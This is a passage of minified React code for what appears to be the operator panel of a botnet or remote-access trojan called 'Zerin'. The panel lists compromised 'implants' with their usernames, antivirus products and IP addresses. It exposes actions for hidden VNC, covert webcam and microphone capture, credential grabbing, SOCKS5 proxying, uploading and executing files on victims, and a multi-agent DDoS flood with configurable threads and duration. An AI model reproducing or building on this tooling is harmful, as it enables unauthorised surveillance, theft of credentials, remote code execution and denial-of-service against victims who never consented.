focus:outline-none focus:border-zerin-accent/50\r + disabled:opacity-40 disabled:cursor-not-allowed transition-colors`})]}),a.jsxs("div",{children:[a.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1.5",children:"Method"}),a.jsx("div",{className:"flex gap-2",children:FU.map(z=>a.jsx("button",{onClick:()=>u(z),disabled:b||x,className:`px-4 py-1.5 text-xs font-mono font-medium transition-colors + disabled:opacity-40 disabled:cursor-not-allowed ${c===z?"bg-zerin-accent/15 text-zerin-accent border border-zerin-accent/40":"bg-zerin-bg text-zerin-text-dim border border-zerin-panel-border hover:border-zerin-panel-border-hover"}`,children:z},z))})]}),a.jsxs("div",{children:[a.jsxs("label",{className:"block text-xs text-zerin-text-muted mb-1.5",children:["Duration: ",a.jsxs("span",{className:"text-zerin-text font-mono",children:[i,"s"]})]}),a.jsxs("div",{className:"flex items-center gap-3",children:[a.jsx("input",{type:"range",min:10,max:3600,step:10,value:i,onChange:z=>s(Number(z.target.value)),disabled:b||x,className:"flex-1 accent-zerin-accent disabled:opacity-40"}),a.jsx("div",{className:"flex gap-1.5",children:WU.map(z=>a.jsx("button",{onClick:()=>s(z.value),disabled:b||x,className:`px-2 py-1 text-[10px] font-mono transition-colors + disabled:opacity-40 disabled:cursor-not-allowed ${i===z.value?"bg-zerin-accent/15 text-zerin-accent":"bg-zerin-bg text-zerin-text-dim hover:text-zerin-text border border-zerin-panel-border"}`,children:z.label},z.value))})]})]}),a.jsxs("div",{children:[a.jsxs("label",{className:"block text-xs text-zerin-text-muted mb-1.5",children:["Threads: ",a.jsx("span",{className:"text-zerin-text font-mono",children:o})]}),a.jsx("input",{type:"range",min:1,max:64,value:o,onChange:z=>l(Number(z.target.value)),disabled:b||x,className:"w-full accent-zerin-accent disabled:opacity-40"}),a.jsxs("div",{className:"flex justify-between text-[10px] text-zerin-text-muted font-mono mt-1",children:[a.jsx("span",{children:"1"}),a.jsx("span",{children:"16"}),a.jsx("span",{children:"32"}),a.jsx("span",{children:"48"}),a.jsx("span",{children:"64"})]})]})]})]}),a.jsx("div",{className:"flex gap-3",children:x?a.jsxs("button",{onClick:k,disabled:d,className:`flex-1 flex items-center justify-center gap-2 px-4 py-2.5\r + text-sm font-medium text-white bg-zinc-600 hover:bg-zinc-700\r + disabled:opacity-30 disabled:cursor-not-allowed transition-colors`,children:[d?a.jsx("div",{className:"w-4 h-4 border-2 border-white/30 border-t-white rounded-full animate-spin"}):a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5.25 7.5A2.25 2.25 0 017.5 5.25h9a2.25 2.25 0 012.25 2.25v9a2.25 2.25 0 01-2.25 2.25h-9a2.25 2.25 0 01-2.25-2.25v-9z"})}),"Stop Flood",w>1?` (${w})`:""]}):a.jsxs("button",{onClick:N,disabled:b||d||!n.trim(),className:`flex-1 flex items-center justify-center gap-2 px-4 py-2.5\r + text-sm font-medium text-white bg-red-500 hover:bg-red-600\r + disabled:opacity-30 disabled:cursor-not-allowed transition-colors`,children:[d?a.jsx("div",{className:"w-4 h-4 border-2 border-white/30 border-t-white rounded-full animate-spin"}):a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M13 10V3L4 14h7v7l9-11h-7z"})}),"Start Flood",w>1?` (${w})`:""]})})]})})}const Db={alive:0,stale:1,dead:2};function UU(e,t,n){let r=0;switch(n.column){case"status":r=(Db[e.status]??3)-(Db[t.status]??3);break;case"hostname":r=e.hostname.localeCompare(t.hostname);break;case"username":r=e.username.localeCompare(t.username);break;case"os":r=Io(e.os).localeCompare(Io(t.os));break;case"arch":r=e.arch.localeCompare(t.arch);break;case"av":r=(e.av_product??"").localeCompare(t.av_product??"");break;case"internal_ip":r=e.internal_ip.localeCompare(t.internal_ip);break;case"external_ip":r=e.external_ip.localeCompare(t.external_ip);break;case"pid":r=e.pid-t.pid;break;case"last_seen":r=new Date(e.last_seen).getTime()-new Date(t.last_seen).getTime();break}return n.direction==="asc"?r:-r}const VU=[{key:"status",label:"Status",className:"w-[80px]"},{key:"hostname",label:"Hostname"},{key:"username",label:"Username"},{key:"os",label:"OS"},{key:"arch",label:"Arch",className:"w-[80px]"},{key:"av",label:"AV"},{key:"internal_ip",label:"Internal IP",mono:!0},{key:"external_ip",label:"External IP",mono:!0},{key:"pid",label:"PID",mono:!0,className:"w-[80px]"},{key:"last_seen",label:"Last Seen"}];function HU(){const e=xr(),[t,n]=m.useState([]),[r,i]=m.useState(!0),[s,o]=m.useState(""),[l,c]=m.useState("all"),[u,d]=m.useState({column:"last_seen",direction:"desc"}),[f,p]=m.useState("online"),[h,x]=m.useState({x:0,y:0,visible:!1}),[g,y]=m.useState(null),[v,b]=m.useState(null),[w,j]=m.useState(null),[N,k]=m.useState(null),[z,S]=m.useState(null),[O,A]=m.useState("Zerin"),[T,P]=m.useState(""),[D,G]=m.useState(new Set),[R,K]=m.useState(!1),[_,M]=m.useState(!1),[F,U]=m.useState(""),[V,Z]=m.useState(""),[ae,ue]=m.useState(!1),[be,ye]=m.useState(null),q=m.useRef(null),te=m.useRef(null),C=m.useRef(null),Y=m.useCallback(async()=>{try{const E=await Sj();n(E),o("")}catch{o("Failed to fetch agents")}finally{i(!1)}},[]);m.useEffect(()=>{Y()},[Y]);const{lastMessage:ne}=m.useContext(gd);m.useEffect(()=>{if(ne&&ne.type==="agent_update"){const E=ne.payload;n(ce=>{const J=ce.findIndex(xe=>xe.id===E.id);if(J>=0){const xe=[...ce];return xe[J]=E,xe}return[E,...ce]}),b(ce=>ce&&ce.id===E.id?E:ce)}},[ne]),m.useEffect(()=>{const E=setInterval(Y,15e3);return()=>clearInterval(E)},[Y]),m.useEffect(()=>()=>{q.current&&clearTimeout(q.current)},[]);const B={total:t.length,alive:t.filter(E=>E.status==="alive").length,stale:t.filter(E=>E.status==="stale").length,dead:t.filter(E=>E.status==="dead").length},le=f==="online"?t.filter(E=>E.status==="alive"||E.status==="stale"):t.filter(E=>E.status==="dead"),Ne=[...l==="all"?le:le.filter(E=>E.status===l)].sort((E,ce)=>UU(E,ce,u)),Ae=t.filter(E=>E.status==="alive"||E.status==="stale").length,$=t.filter(E=>E.status==="dead").length;function fe(E){d(ce=>({column:E,direction:ce.column===E&&ce.direction==="asc"?"desc":"asc"}))}function ve(E){c(ce=>ce===E&&E!=="all"?"all":E)}function H(E){if(q.current){clearTimeout(q.current),q.current=null,e(`/agents/${E.id}`);return}q.current=setTimeout(()=>{q.current=null,b(E)},250)}function se(E,ce){E.preventDefault(),y(ce),x({x:E.clientX,y:E.clientY,visible:!0})}function W(E,ce){var X;if(!g)return;const J=g.id,xe=g.hostname,ke=ce==null?void 0:ce.action,ze=ce==null?void 0:ce.tab;if(x(re=>({...re,visible:!1})),y(null),ke==="chat"){j(g);return}if(ke==="confirm"){k({command:E,agentId:J,hostname:xe});return}if(ke==="msgbox"){S({agentId:J,hostname:xe}),A("Zerin"),P("");return}if(ke==="vnc"){Ex(J).then(()=>{const re=st(),oe=window.open(`/vnc/${J}`,`vnc-${J}`,"width=1300,height=800,menubar=no,toolbar=no,location=no,status=no");if(oe&&re){const Oe=et=>{var L;((L=et.data)==null?void 0:L.type)==="zerin_auth_request"&&et.origin===window.location.origin&&(oe.postMessage({type:"zerin_auth",token:re},window.location.origin),window.removeEventListener("message",Oe))};window.addEventListener("message",Oe)}}).catch(()=>o("Failed to start VNC"));return}if(ke==="hvnc"){Pj(J).then(()=>{const re=st(),oe=window.open(`/vnc/${J}?mode=hvnc`,`hvnc-${J}`,"width=1300,height=800,menubar=no,toolbar=no,location=no,status=no");if(oe&&re){const Oe=et=>{var L;((L=et.data)==null?void 0:L.type)==="zerin_auth_request"&&et.origin===window.location.origin&&(oe.postMessage({type:"zerin_auth",token:re},window.location.origin),window.removeEventListener("message",Oe))};window.addEventListener("message",Oe)}}).catch(()=>o("Failed to start hVNC"));return}if(ke==="webcam"){Ej(J).then(()=>{const re=st(),oe=window.open(`/webcam/${J}`,`webcam-${J}`,"width=800,height=650,menubar=no,toolbar=no,location=no,status=no");if(oe&&re){const Oe=et=>{var L;((L=et.data)==null?void 0:L.type)==="zerin_auth_request"&&et.origin===window.location.origin&&(oe.postMessage({type:"zerin_auth",token:re},window.location.origin),window.removeEventListener("message",Oe))};window.addEventListener("message",Oe)}}).catch(()=>o("Failed to start webcam"));return}if(ke==="mic"){_j(J).then(()=>{const re=st(),oe=window.open(`/mic/${J}`,`mic-${J}`,"width=500,height=400,menubar=no,toolbar=no,location=no,status=no");if(oe&&re){const Oe=et=>{var L;((L=et.data)==null?void 0:L.type)==="zerin_auth_request"&&et.origin===window.location.origin&&(oe.postMessage({type:"zerin_auth",token:re},window.location.origin),window.removeEventListener("message",Oe))};window.addEventListener("message",Oe)}}).catch(()=>o("Failed to start microphone"));return}if(ke==="socks5"){Aj(J).then(re=>{alert(`SOCKS5 proxy started on ${re.bind}:${re.port} + +Use: ssh -L ${re.port}:127.0.0.1:${re.port} root@`)}).catch(()=>alert("Failed to start SOCKS5 proxy"));return}if(ke==="execute_upload"){C.current=J,(X=te.current)==null||X.click();return}if(ke==="ban"){const re=t.find(L=>L.id===J),oe=re==null?void 0:re.banned,Oe=oe?`Unban agent ${xe} (${J.slice(0,8)})? It will be allowed to check in again.`:`Ban agent ${xe} (${J.slice(0,8)})? It will be rejected on future check-ins.`;if(!confirm(Oe))return;(oe?e6:JE)(J).then(()=>{n(L=>L.map(ie=>ie.id===J?{...ie,banned:!oe}:ie))}).catch(()=>o(`Failed to ${oe?"unban":"ban"} agent`));return}if(ke==="remove"){if(!confirm(`Remove agent ${xe} (${J.slice(0,8)})? This cannot be undone.`))return;Cj(J).then(()=>{n(re=>re.filter(oe=>oe.id!==J))}).catch(()=>o("Failed to remove agent"));return}(ke==="submit"||ke==="screenshot")&&E!=="creds"&&Me(J,{command:E}).catch(re=>{o(`Failed to submit task: ${re instanceof Error?re.message:"unknown error"}`)}),ze&&e(`/agents/${J}?tab=${ze}${E==="creds"?"&auto=1":""}`)}function Q(){x(E=>({...E,visible:!1})),y(null)}async function he(E){var ze,X,re;const ce=(ze=E.target.files)==null?void 0:ze[0];if(E.target.value="",!ce||!C.current)return;const J=C.current;C.current=null;const xe=ce.name,ke=`C:\\Windows\\Temp\\${xe}`;try{const oe=await ce.arrayBuffer(),Oe=Array.from(new Uint8Array(oe)),{task_id:et}=await Me(J,{command:"upload",args:[ke],data:Oe});let L=!1;for(let de=0;de<30;de++){await new Promise(Lt=>setTimeout(Lt,2e3));const Ct=(X=(await Xn(J)).results)==null?void 0:X.find(Lt=>Lt.task_id===et);if(Ct){if(Ct.error)throw new Error(Ct.error);L=!0;break}}if(!L)throw new Error("Upload timed out");const{task_id:ie}=await Me(J,{command:"execute",args:[ke]});for(let de=0;de<30;de++){await new Promise(Lt=>setTimeout(Lt,2e3));const Ct=(re=(await Xn(J)).results)==null?void 0:re.find(Lt=>Lt.task_id===ie);if(Ct){if(Ct.error)throw new Error(Ct.error);alert(`Executed ${xe} on agent`);return}}alert(`File uploaded & execute command sent (${xe})`)}catch(oe){o(`Execute file failed: ${oe instanceof Error?oe.message:"unknown error"}`)}}return a.jsxs("div",{className:"p-6 min-h-[calc(100vh+100px)]",children:[a.jsx("input",{ref:te,type:"file",className:"hidden",onChange:he}),a.jsxs("div",{className:"mb-6",children:[a.jsx("h1",{className:"font-display text-2xl font-bold text-zerin-text tracking-wide",children:"Dashboard"}),a.jsx("p",{className:"text-zerin-text-muted text-sm mt-1",children:"Active implant overview"})]}),a.jsxs("div",{className:"grid grid-cols-2 sm:grid-cols-4 gap-3 mb-4",children:[a.jsx(ic,{label:"Total",value:B.total,active:l==="all",onClick:()=>ve("all")}),a.jsx(ic,{label:"Alive",value:B.alive,active:l==="alive",onClick:()=>ve("alive")}),a.jsx(ic,{label:"Stale",value:B.stale,active:l==="stale",onClick:()=>ve("stale")}),a.jsx(ic,{label:"Dead",value:B.dead,active:l==="dead",onClick:()=>ve("dead")})]}),a.jsx($U,{agents:t}),a.jsxs("div",{className:"flex items-center justify-between mb-4",children:[a.jsxs("div",{className:"flex items-center border-b border-zerin-panel-border",children:[a.jsxs("button",{onClick:()=>{p("online"),c("all")},className:`relative px-4 py-2.5 text-sm font-medium tracking-wide transition-colors ${f==="online"?"text-zerin-text":"text-zerin-text-muted hover:text-zerin-text-dim"}`,children:[a.jsxs("span",{className:"flex items-center gap-2",children:[a.jsx("span",{className:`inline-block w-1.5 h-1.5 rounded-full ${f==="online"?"bg-zerin-accent animate-pulse-dot":"bg-zerin-text-muted/40"}`}),"Online",a.jsx("span",{className:`text-xs tabular-nums px-1.5 py-0.5 rounded ${f==="online"?"bg-zerin-accent/15 text-zerin-accent":"bg-zinc-800 text-zerin-text-muted"}`,children:Ae})]}),f==="online"&&a.jsx("span",{className:"absolute bottom-0 left-0 right-0 h-[2px] bg-zerin-accent"})]}),a.jsxs("button",{onClick:()=>{p("offline"),c("all")},className:`relative px-4 py-2.5 text-sm font-medium tracking-wide transition-colors ${f==="offline"?"text-zerin-text":"text-zerin-text-muted hover:text-zerin-text-dim"}`,children:[a.jsxs("span",{className:"flex items-center gap-2",children:[a.jsx("span",{className:`inline-block w-1.5 h-1.5 rounded-full ${f==="offline"?"bg-zinc-500":"bg-zerin-text-muted/40"}`}),"Offline",a.jsx("span",{className:`text-xs tabular-nums px-1.5 py-0.5 rounded ${f==="offline"?"bg-zinc-500/15 text-zinc-400":"bg-zinc-800 text-zerin-text-muted"}`,children:$})]}),f==="offline"&&a.jsx("span",{className:"absolute bottom-0 left-0 right-0 h-[2px] bg-zinc-500"})]})]}),f==="offline"&&$>0&&a.jsx("button",{onClick:async()=>{if(!confirm(`Remove all ${$} dead agent(s)? This cannot be undone.`))return;const E=t.filter(ce=>ce.status==="dead").map(ce=>ce.id);try{await QE(E),n(ce=>ce.filter(J=>J.status!=="dead"))}catch{o("Failed to clear dead agents")}},className:"px-3 py-1.5 text-xs font-medium rounded bg-red-500/10 text-red-400/80 hover:bg-red-500/20 hover:text-red-400 border border-red-500/20 transition-colors",children:"Clear All"})]}),r?a.jsx("div",{className:"flex items-center justify-center h-64",children:a.jsxs("div",{className:"text-center",children:[a.jsxs("svg",{className:"animate-spin h-8 w-8 text-zerin-accent mx-auto mb-3",xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 24 24",children:[a.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),a.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]}),a.jsx("p",{className:"text-zerin-text-dim text-sm",children:"Loading agents..."})]})}):s?a.jsx("div",{className:"flex items-center justify-center h-64",children:a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-8 text-center max-w-sm",children:[a.jsx("div",{className:"inline-flex items-center justify-center h-10 w-10 bg-zerin-danger-dim mb-4",children:a.jsx("svg",{className:"h-5 w-5 text-zerin-danger",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M12 9v2m0 4h.01M21 12a9 9 0 11-18 0 9 9 0 0118 0z"})})}),a.jsx("p",{className:"text-zerin-text font-display font-semibold mb-1",children:"Connection Error"}),a.jsx("p",{className:"text-zerin-text-muted text-sm mb-4",children:s}),a.jsxs("button",{onClick:Y,className:"inline-flex items-center gap-2 bg-zerin-accent px-4 py-2 text-sm font-medium text-white transition-colors hover:bg-zerin-accent-hover",children:[a.jsx("svg",{className:"h-4 w-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M4 4v5h.582m15.356 2A8.001 8.001 0 004.582 9m0 0H9m11 11v-5h-.581m0 0a8.003 8.003 0 01-15.357-2m15.357 2H15"})}),"Retry"]})]})}):Ne.length===0?a.jsx("div",{className:"flex items-center justify-center h-64",children:a.jsxs("div",{className:"text-center",children:[a.jsx("div",{className:"inline-flex items-center justify-center h-12 w-12 bg-zerin-panel-hover mb-4",children:a.jsx("svg",{className:"h-6 w-6 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9.75 17L9 20l-1 1h8l-1-1-.75-3M3 13h18M5 17h14a2 2 0 002-2V5a2 2 0 00-2-2H5a2 2 0 00-2 2v10a2 2 0 002 2z"})})}),t.length===0?a.jsxs(a.Fragment,{children:[a.jsx("p",{className:"font-display text-lg font-semibold text-zerin-text mb-1",children:"No agents connected"}),a.jsx("p",{className:"text-zerin-text-muted text-sm",children:"Waiting for the first agent check-in."})]}):a.jsxs(a.Fragment,{children:[a.jsxs("p",{className:"font-display text-lg font-semibold text-zerin-text mb-1",children:["No ",f," agents"]}),a.jsxs("p",{className:"text-zerin-text-muted text-sm",children:[f==="online"?"No alive or stale agents.":"No dead agents — all agents are online.",l!=="all"&&a.jsx("button",{onClick:()=>c("all"),className:"ml-1 text-zerin-accent hover:text-zerin-accent-hover transition-colors underline underline-offset-2",children:"Clear filter"})]})]})]})}):a.jsxs(a.Fragment,{children:[a.jsxs("div",{className:"text-zerin-text-muted text-xs mb-3",children:[a.jsx("span",{className:"text-zerin-text font-medium",children:Ne.length})," ",f," agent",Ne.length!==1?"s":"",l!=="all"&&a.jsxs("span",{className:"ml-1",children:["· filtered by ",a.jsx("span",{className:"text-zerin-text-dim font-medium",children:l})]})]}),a.jsx("div",{className:"border border-zerin-panel-border overflow-hidden",children:a.jsx("div",{className:"overflow-x-auto",children:a.jsxs("table",{className:"w-full text-sm text-left",children:[a.jsx("thead",{children:a.jsxs("tr",{className:"bg-zerin-bg-alt",children:[a.jsx("th",{className:"px-3 py-3 w-[40px]",children:a.jsx("input",{type:"checkbox",checked:Ne.length>0&&Ne.filter(E=>E.status!=="dead").every(E=>D.has(E.id)),onChange:E=>{E.target.checked?G(new Set(Ne.filter(ce=>ce.status!=="dead").map(ce=>ce.id))):G(new Set)},className:"accent-zerin-accent w-3.5 h-3.5 cursor-pointer"})}),VU.map(E=>a.jsx("th",{onClick:()=>fe(E.key),className:`px-4 py-3 text-xs font-medium uppercase tracking-wider text-zerin-text-muted cursor-pointer select-none transition-colors hover:text-zerin-text ${E.className??""}`,children:a.jsxs("span",{className:"inline-flex items-center gap-1.5",children:[E.label,a.jsx(KU,{column:E.key,sort:u})]})},E.key))]})}),a.jsx("tbody",{className:"bg-zerin-panel",children:Ne.map(E=>a.jsxs("tr",{onClick:()=>H(E),onContextMenu:ce=>se(ce,E),className:`border-b border-zerin-panel-border cursor-pointer transition-colors hover:bg-zerin-panel-hover ${E.status==="dead"?"opacity-50":""} ${E.banned?"opacity-60":""}`,children:[a.jsx("td",{className:"px-3 py-3",onClick:ce=>ce.stopPropagation(),children:E.status!=="dead"&&a.jsx("input",{type:"checkbox",checked:D.has(E.id),onChange:ce=>{G(J=>{const xe=new Set(J);return ce.target.checked?xe.add(E.id):xe.delete(E.id),xe})},className:"accent-zerin-accent w-3.5 h-3.5 cursor-pointer"})}),a.jsx("td",{className:"px-4 py-3",children:a.jsxs("div",{className:"flex items-center gap-1.5",children:[a.jsx(xd,{status:E.status,size:"sm",showLabel:!0}),E.banned&&a.jsx("span",{className:"inline-flex items-center bg-orange-500/15 px-1.5 py-0.5 text-[10px] font-semibold uppercase tracking-wider text-orange-400",children:"Banned"})]})}),a.jsx("td",{className:`px-4 py-3 font-medium text-zerin-text ${E.banned?"line-through":""}`,children:E.hostname}),a.jsxs("td",{className:"px-4 py-3 text-zerin-text-dim",children:[E.username,E.elevated&&a.jsx("span",{className:"ml-2 inline-flex items-center bg-zerin-panel-hover px-1.5 py-0.5 text-[10px] font-semibold uppercase tracking-wider text-zerin-text-dim",children:"Admin"})]}),a.jsx("td",{className:"px-4 py-3 text-zerin-text-dim",children:Io(E.os)}),a.jsx("td",{className:"px-4 py-3 text-zerin-text-dim",children:E.arch}),a.jsx("td",{className:"px-4 py-3 text-zerin-text-dim max-w-[160px] truncate",title:E.av_product||"Unknown",children:E.av_product||"Unknown"}),a.jsx("td",{className:"px-4 py-3 font-mono text-zerin-text-dim",children:E.internal_ip}),a.jsx("td",{className:"px-4 py-3 font-mono text-zerin-text-dim",children:E.external_ip}),a.jsx("td",{className:"px-4 py-3 font-mono text-zerin-text-dim",children:E.pid}),a.jsx("td",{className:"px-4 py-3 text-zerin-text-muted",title:Lo(E.last_seen),children:eu(E.last_seen)})]},E.id))})]})})})]}),D.size>0&&a.jsxs("div",{className:`fixed bottom-6 left-1/2 -translate-x-1/2 z-40 flex items-center gap-3\r + bg-zerin-panel border border-zerin-panel-border px-5 py-3 shadow-xl`,children:[a.jsxs("span",{className:"text-sm text-zerin-text font-medium",children:[D.size," agent",D.size!==1?"s":""," selected"]}),a.jsx("div",{className:"w-px h-5 bg-zerin-panel-border"}),a.jsxs("button",{onClick:()=>K(!0),className:`flex items-center gap-1.5 px-3 py-1.5 text-xs font-medium\r + text-red-400 bg-red-500/10 border border-red-500/20\r + hover:bg-red-500/20 transition-colors`,children:[a.jsx("svg",{className:"w-3.5 h-3.5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M13 10V3L4 14h7v7l9-11h-7z"})}),"DDoS"]}),a.jsxs("button",{onClick:()=>M(!0),className:`flex items-center gap-1.5 px-3 py-1.5 text-xs font-medium\r + text-orange-400 bg-orange-500/10 border border-orange-500/20\r + hover:bg-orange-500/20 transition-colors`,children:[a.jsx("svg",{className:"w-3.5 h-3.5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5 3l14 9-14 9V3z"})}),"Execute File"]}),a.jsx("button",{onClick:()=>G(new Set),className:`px-3 py-1.5 text-xs font-medium text-zerin-text-dim\r + hover:text-zerin-text bg-zerin-panel-hover hover:bg-zerin-bg transition-colors`,children:"Clear"})]}),R&&a.jsx("div",{className:"fixed inset-0 z-50 flex items-center justify-center bg-black/60",onClick:()=>K(!1),children:a.jsxs("div",{className:"bg-zerin-bg border border-zerin-panel-border w-full max-w-2xl max-h-[80vh] overflow-y-auto",onClick:E=>E.stopPropagation(),children:[a.jsxs("div",{className:"flex items-center justify-between px-6 py-4 border-b border-zerin-panel-border",children:[a.jsx("h2",{className:"font-display text-lg font-semibold text-zerin-text",children:"Multi-Agent DDoS"}),a.jsx("button",{onClick:()=>K(!1),className:"text-zerin-text-muted hover:text-zerin-text transition-colors",children:a.jsx("svg",{className:"w-5 h-5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6 18L18 6M6 6l12 12"})})})]}),a.jsx(lS,{agentIds:[...D]})]})}),_&&a.jsx("div",{className:"fixed inset-0 z-50 flex items-center justify-center bg-black/60",onClick:()=>M(!1),children:a.jsxs("div",{className:"bg-zerin-bg border border-zerin-panel-border w-full max-w-lg",onClick:E=>E.stopPropagation(),children:[a.jsxs("div",{className:"flex items-center justify-between px-6 py-4 border-b border-zerin-panel-border",children:[a.jsx("h2",{className:"font-display text-lg font-semibold text-zerin-text",children:"Execute File"}),a.jsx("button",{onClick:()=>M(!1),className:"text-zerin-text-muted hover:text-zerin-text transition-colors",children:a.jsx("svg",{className:"w-5 h-5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6 18L18 6M6 6l12 12"})})})]}),a.jsxs("div",{className:"p-6 space-y-4",children:[a.jsxs("p",{className:"text-xs text-zerin-text-muted",children:["Run a file on ",D.size," agent",D.size!==1?"s":""]}),be&&a.jsx("div",{className:`px-3 py-2 text-xs font-mono ${be.type==="ok"?"bg-emerald-500/10 text-emerald-400 border border-emerald-500/20":"bg-red-500/10 text-red-400 border border-red-500/20"}`,children:be.text}),a.jsxs("div",{children:[a.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1.5",children:"File Path"}),a.jsx("input",{type:"text",value:F,onChange:E=>U(E.target.value),placeholder:"C:\\path\\to\\file.exe",className:`w-full bg-zerin-panel border border-zerin-panel-border px-3 py-2\r + text-sm text-zerin-text font-mono placeholder-zerin-text-muted\r + focus:outline-none focus:border-zerin-accent/50 transition-colors`})]}),a.jsxs("div",{children:[a.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1.5",children:"Arguments (optional)"}),a.jsx("input",{type:"text",value:V,onChange:E=>Z(E.target.value),placeholder:"--flag value",className:`w-full bg-zerin-panel border border-zerin-panel-border px-3 py-2\r + text-sm text-zerin-text font-mono placeholder-zerin-text-muted\r + focus:outline-none focus:border-zerin-accent/50 transition-colors`})]}),a.jsxs("button",{onClick:async()=>{if(F.trim()){ue(!0),ye(null);try{const E=[F.trim()];V.trim()&&V.trim().split(/\s+/).forEach(ke=>E.push(ke));const J=(await Promise.allSettled([...D].map(ke=>Me(ke,{command:"execute",args:E})))).filter(ke=>ke.status==="fulfilled").length,xe=D.size;ye(J===xe?{text:`Sent to ${xe} agent${xe!==1?"s":""}`,type:"ok"}:{text:`Sent to ${J}/${xe} agents (${xe-J} failed)`,type:J>0?"ok":"err"})}catch(E){ye({text:E instanceof Error?E.message:"Failed",type:"err"})}finally{ue(!1)}}},disabled:ae||!F.trim(),className:`w-full flex items-center justify-center gap-2 px-4 py-2.5\r + text-sm font-medium text-white bg-orange-500 hover:bg-orange-600\r + disabled:opacity-30 disabled:cursor-not-allowed transition-colors`,children:[ae?a.jsx("div",{className:"w-4 h-4 border-2 border-white/30 border-t-white rounded-full animate-spin"}):a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5 3l14 9-14 9V3z"})}),"Execute",D.size>1?` (${D.size})`:""]})]})]})}),a.jsx(b_,{x:h.x,y:h.y,visible:h.visible,onAction:W,onClose:Q,agentStatus:g==null?void 0:g.status,agentName:g==null?void 0:g.hostname}),a.jsx(Dj,{agentId:(w==null?void 0:w.id)??"",agentHostname:(w==null?void 0:w.hostname)??"",open:w!==null,onClose:()=>j(null)}),a.jsx(j_,{open:v!==null,onClose:()=>b(null),title:(v==null?void 0:v.hostname)??"Agent Details",children:v&&a.jsx(GU,{agent:v,onNavigate:()=>e(`/agents/${v.id}`),onTagsChange:async E=>{const ce=v.tags??[];n(J=>J.map(xe=>xe.id===v.id?{...xe,tags:E}:xe)),b(J=>J&&{...J,tags:E});try{await n6(v.id,E)}catch{n(J=>J.map(xe=>xe.id===v.id?{...xe,tags:ce}:xe)),b(J=>J&&{...J,tags:ce}),o("Failed to update tags")}}})}),N&&a.jsx("div",{className:"fixed inset-0 z-50 flex items-center justify-center bg-black/60",onClick:()=>k(null),children:a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-6 max-w-sm w-full mx-4",onClick:E=>E.stopPropagation(),children:[a.jsxs("h3",{className:"font-display text-lg font-semibold text-zerin-text mb-2",children:[N.command==="restart"?"Restart":"Shutdown"," PC"]}),a.jsxs("p",{className:"text-zerin-text-muted text-sm mb-6",children:["Are you sure you want to ",N.command," ",a.jsx("span",{className:"text-zerin-text font-medium",children:N.hostname}),"?",N.command==="shutdown"&&" The agent will go offline."]}),a.jsxs("div",{className:"flex items-center justify-end gap-2",children:[a.jsx("button",{onClick:()=>k(null),className:`px-4 py-2 text-sm font-medium text-zerin-text-dim\r + hover:text-zerin-text bg-zerin-panel-hover hover:bg-zerin-bg\r + transition-colors`,children:"Cancel"}),a.jsx("button",{onClick:()=>{Me(N.agentId,{command:N.command}).catch(E=>{o(`Failed to submit task: ${E instanceof Error?E.message:"unknown error"}`)}),k(null)},className:`px-4 py-2 text-sm font-medium text-white transition-colors ${N.command==="shutdown"?"bg-zerin-danger hover:bg-red-600":"bg-zerin-accent hover:bg-zerin-accent-hover"}`,children:N.command==="restart"?"Restart":"Shutdown"})]})]})}),z&&a.jsx("div",{className:"fixed inset-0 z-50 flex items-center justify-center bg-black/60",onClick:()=>S(null),children:a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-6 max-w-md w-full mx-4",onClick:E=>E.stopPropagation(),children:[a.jsx("h3",{className:"font-display text-lg font-semibold text-zerin-text mb-1",children:"Send Message Box"}),a.jsxs("p",{className:"text-zerin-text-muted text-xs mb-4",children:["Target: ",a.jsx("span",{className:"text-zerin-text font-medium",children:z.hostname})]}),a.jsxs("div",{className:"space-y-3 mb-6",children:[a.jsxs("div",{children:[a.jsx("label",{className:"block text-zerin-text-muted text-xs mb-1",children:"Title"}),a.jsx("input",{type:"text",value:O,onChange:E=>A(E.target.value),placeholder:"Window title...",className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-1.5\r + text-sm text-zerin-text placeholder-zerin-text-muted\r + focus:outline-none focus:border-zerin-accent/50 focus:ring-1 focus:ring-zerin-accent/20 transition-all`})]}),a.jsxs("div",{children:[a.jsx("label",{className:"block text-zerin-text-muted text-xs mb-1",children:"Message"}),a.jsx("textarea",{value:T,onChange:E=>P(E.target.value),placeholder:"Message text...",rows:3,className:`w-full 